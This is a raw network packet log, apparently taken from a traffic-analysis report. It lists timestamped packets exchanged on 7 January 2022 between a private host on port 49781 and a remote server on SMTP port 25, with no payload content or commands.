Jan 7, 2022 15:43:01.634279013 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.634305954 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.634331942 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.634332895 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.634356976 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.634361982 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.634388924 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.634397984 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.634417057 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.634428024 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.634443998 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.634483099 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.634490967 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.634546041 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.634562016 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.634613037 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.634948015 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.634974003 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.635000944 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.635010004 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.635029078 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.635040045 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.635052919 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.635081053 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.635107994 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.635113955 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.635132074 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.635154009 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.635162115 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.635185957 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.635207891 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.635226965 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.635272026 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.635301113 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.635325909 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.635370016 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636249065 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636322975 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636375904 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636404037 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636430025 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636430025 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636456966 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636471033 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636485100 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636486053 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636502028 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636514902 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636540890 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636571884 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636575937 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636605024 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636624098 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636637926 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636668921 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636698961 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636720896 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636725903 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636754990 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636771917 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636780977 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636807919 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636810064 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636830091 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636840105 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636873007 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636882067 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636910915 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636914015 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636940956 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636961937 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636967897 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.636976957 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636989117 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.636996031 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637022972 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637022972 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637034893 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637048960 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637053967 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637073994 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637075901 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637096882 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637101889 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637130022 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637156963 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637172937 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637190104 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637525082 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637593985 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637847900 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637876987 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637902975 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.637907028 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637933969 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.637954950 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638226032 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638293028 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638299942 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638329983 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638350010 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638375044 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638405085 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638432980 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638458014 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638458014 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638484955 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638500929 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638514996 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638540983 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638545990 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638567924 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638595104 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638597012 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638607025 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638622046 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638623953 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638643980 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638650894 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638674974 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638679981 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638695955 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638708115 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638725996 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638736963 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638757944 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638762951 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638787985 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638791084 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638818979 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638832092 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638840914 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638844967 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638864040 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.638873100 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638901949 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638928890 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638956070 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638981104 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.638984919 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639000893 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639008045 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639023066 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639030933 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639035940 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639039993 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639049053 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639056921 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639060974 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639081955 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639089108 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639111996 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639115095 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639132977 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639143944 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639173031 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639173985 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639194965 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639198065 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639219046 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639225960 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639239073 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639252901 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639276981 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639277935 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639295101 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639306068 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639332056 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639337063 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639352083 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639358044 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639391899 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639394045 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639409065 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639421940 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639447927 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639448881 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639475107 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639476061 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639502048 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639504910 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639528036 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639528990 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639556885 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639564991 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639576912 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639583111 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639607906 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639611959 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639621973 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639640093 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639662027 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639667034 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639683962 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639693022 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639710903 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639719009 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639733076 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639748096 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639767885 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639786005 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.639791012 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.639832020 CET	49781	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:43:01.659578085 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660134077 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660702944 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660721064 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660733938 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660747051 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660765886 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660785913 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660803080 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660824060 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660844088 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660881996 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660901070 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660918951 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660938025 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.660955906 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661441088 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661484003 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661504030 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661521912 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661562920 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661582947 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661685944 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661706924 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661724091 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661742926 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661762953 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661780119 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.661995888 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.662017107 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.662034988 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.662128925 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.662208080 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.662230968 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.662256002 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663420916 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663446903 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663471937 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663496971 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663522959 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663546085 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663569927 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663595915 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663619041 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663642883 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663666964 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663691998 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663717985 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663763046 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663786888 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663810968 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663835049 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.663860083 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665541887 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665569067 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665595055 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665616989 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665641069 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665664911 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665689945 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665715933 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665738106 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665761948 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665786982 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665808916 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.665832996 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666266918 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666294098 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666316986 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666341066 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666449070 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666475058 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666500092 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666522980 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666757107 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666781902 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666806936 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666831970 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666855097 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666963100 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.666986942 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667011976 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667035103 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667059898 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667121887 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667148113 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667273045 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667304039 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667330980 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667354107 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667388916 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667592049 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667619944 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667697906 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667723894 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667747974 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667772055 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667795897 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667884111 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667911053 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667933941 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.667958021 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668057919 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668215036 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668239117 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668262959 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668287039 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668312073 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668337107 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668359041 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668386936 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668411016 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668437958 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668462992 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668487072 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668512106 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668539047 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668561935 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668586016 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668610096 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668633938 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668658018 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668680906 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668766022 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668790102 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668812990 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.668932915 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669058084 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669085026 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669106960 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669131041 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669156075 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669178963 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669203043 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669226885 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669250965 CET	25	49781	108.177.119.26	192.168.2.6
Jan 7, 2022 15:43:01.669275999 CET	25	49781	108.177.119.26	192.168.2.6
